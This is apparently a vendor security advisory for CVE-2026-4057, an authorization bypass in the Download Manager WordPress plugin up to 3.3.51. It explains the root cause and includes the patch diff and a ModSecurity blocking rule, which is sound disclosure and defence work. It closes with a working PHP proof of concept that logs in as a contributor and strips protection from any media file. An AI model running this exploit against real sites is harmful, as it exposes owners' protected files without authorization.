Atomic Edge analysis of CVE-2026-4057:
The Download Manager WordPress plugin, versions up to and including 3.3.51, contains an authorization bypass vulnerability in its media file protection system. This flaw allows authenticated users with Contributor-level permissions or higher to remove all access restrictions from any media file, regardless of ownership. The vulnerability resides in the MediaAccessControl class, specifically within the AJAX handlers that manage media privacy settings.
Atomic Edge research identifies the root cause as missing post ownership verification in two AJAX handler functions. The vulnerable functions, makeMediaPublic() and makeMediaPrivate(), are located in /download-manager/src/MediaLibrary/MediaAccessControl.php. Both functions performed only a generic capability check via __::isAuthentic() for the ‘edit_posts’ permission, without verifying the user’s specific authorization to edit the target media file using current_user_can(‘edit_post’, $id). The destructive operations (deleting protection metadata) executed before the admin-level check in mediaAccessControl(), creating a window where unauthorized modifications could occur.
Exploitation requires an authenticated attacker with at least Contributor-level access. The attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to either ‘wpdm_make_media_public’ or ‘wpdm_make_media_private’. The request must include a valid nonce (obtainable via the plugin interface) and the mediaid parameter containing the target attachment ID. The attacker can target any media file ID, including those owned by administrators or other users. Successful exploitation strips all protection metadata (__wpdm_media_access, __wpdm_media_pass, __wpdm_private) from the target file.
The patch in version 3.3.52 adds explicit ownership verification before performing destructive operations. In both makeMediaPublic() and makeMediaPrivate() functions, the patch inserts a check for current_user_can(‘edit_post’, $id) immediately after retrieving the media ID. If this check fails, the function returns a JSON error response and terminates execution before any metadata modifications occur. This ensures users can only modify protection settings for media files they have explicit permission to edit, closing the authorization bypass.
Successful exploitation allows attackers to make protected media files publicly accessible via direct URLs. This includes files protected with passwords, access restrictions, or marked as private by administrators. The vulnerability enables data exposure of sensitive files that administrators intentionally restricted, potentially leading to unauthorized disclosure of confidential documents, proprietary content, or other protected digital assets. The impact is limited to media file exposure and does not provide direct privilege escalation or remote code execution.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/download-manager/download-manager.php
+++ b/download-manager/download-manager.php
@@ -5,7 +5,7 @@
Description: Manage, Protect and Track file downloads, and sell digital products from your WordPress site. A complete digital asset management solution.
Author: W3 Eden, Inc.
Author URI: https://www.wpdownloadmanager.com/
-Version: 3.3.51
+Version: 3.3.52
Text Domain: download-manager
Domain Path: /languages
*/
@@ -40,7 +40,7 @@
global $WPDM;
-define('WPDM_VERSION','3.3.51');
+define('WPDM_VERSION','3.3.52');
define('WPDM_TEXT_DOMAIN','download-manager');
--- a/download-manager/src/Admin/AdminController.php
+++ b/download-manager/src/Admin/AdminController.php
@@ -110,6 +110,9 @@
wp_enqueue_style( 'wp-color-picker' );
wp_enqueue_script( 'wp-color-picker' );
+ wp_enqueue_script('wpdm-modal');
+ wp_enqueue_style('wpdm-modal');
+
}
--- a/download-manager/src/MediaLibrary/MediaAccessControl.php
+++ b/download-manager/src/MediaLibrary/MediaAccessControl.php
@@ -239,6 +239,13 @@
__::isAuthentic( "mmpnonce", WPDM_PRI_NONCE, 'edit_posts' );
$id = wpdm_query_var( 'mediaid' );
+ // Verify user can edit this media
+ if (!current_user_can('edit_post', $id)) {
+ wp_send_json([
+ 'success' => false,
+ 'message' => __('You are not allowed to edit this media.', 'download-manager')
+ ]);
+ }
//$meta = wp_get_attachment_metadata($id);
//wpdmdd($meta);
update_post_meta( $id, '__wpdm_media_access', wpdm_query_var( 'media_access' ) );
@@ -258,7 +265,17 @@
function makeMediaPublic() {
__::isAuthentic( "mmpnonce", WPDM_PRI_NONCE, 'edit_posts' );
+
$id = wpdm_query_var( 'mediaid' );
+
+ // Verify user can edit this media
+ if (!current_user_can('edit_post', $id)) {
+ wp_send_json([
+ 'success' => false,
+ 'message' => __('You are not allowed to edit this media.', 'download-manager')
+ ]);
+ }
+
delete_post_meta( $id, '__wpdm_media_access' );
delete_post_meta( $id, '__wpdm_media_pass' );
delete_post_meta( $id, '__wpdm_private' );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4057
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20264057,phase:2,deny,status:403,chain,msg:'CVE-2026-4057 Download Manager Media Protection Bypass',severity:'MEDIUM',tag:'CVE-2026-4057',tag:'WordPress',tag:'Download-Manager'"
SecRule ARGS_POST:action "@within wpdm_make_media_public wpdm_make_media_private" "chain"
SecRule &ARGS_POST:mediaid "!@eq 0" "chain"
SecRule ARGS_POST:mediaid "@rx ^[0-9]+$" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4057 - Download Manager <= 3.3.51 - Missing Authorization to Authenticated (Contributor+) Media File Protection Removal
<?php
$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
$target_media_id = 123; // ID of admin-protected media file
// Step 1: Authenticate to WordPress and obtain cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
// Get login page to retrieve nonce (if needed) and cookies
curl_setopt($ch, CURLOPT_URL, $login_url);
$login_page = curl_exec($ch);
// Submit login credentials
$post_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$login_response = curl_exec($ch);
// Step 2: Obtain a valid nonce from the plugin interface
// The nonce is typically available on media library pages or plugin admin pages
// For this PoC, we assume the attacker can obtain a valid nonce via normal plugin usage
// In practice, the nonce would be extracted from plugin pages the user can access
$nonce = 'obtained_nonce_value'; // Replace with actual nonce from plugin interface
// Step 3: Exploit the vulnerability by removing protection from target media
$exploit_data = [
'action' => 'wpdm_make_media_public', // or 'wpdm_make_media_private'
'mediaid' => $target_media_id,
'mmpnonce' => $nonce
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_data);
$exploit_response = curl_exec($ch);
// Step 4: Verify exploitation success
$response_data = json_decode($exploit_response, true);
if (isset($response_data['success']) && $response_data['success'] === true) {
echo "SUCCESS: Protection removed from media ID $target_media_idn";
echo "Response: " . print_r($response_data, true) . "n";
} else {
echo "FAILED: Could not remove protectionn";
echo "Response: " . $exploit_response . "n";
}
curl_close($ch);
?>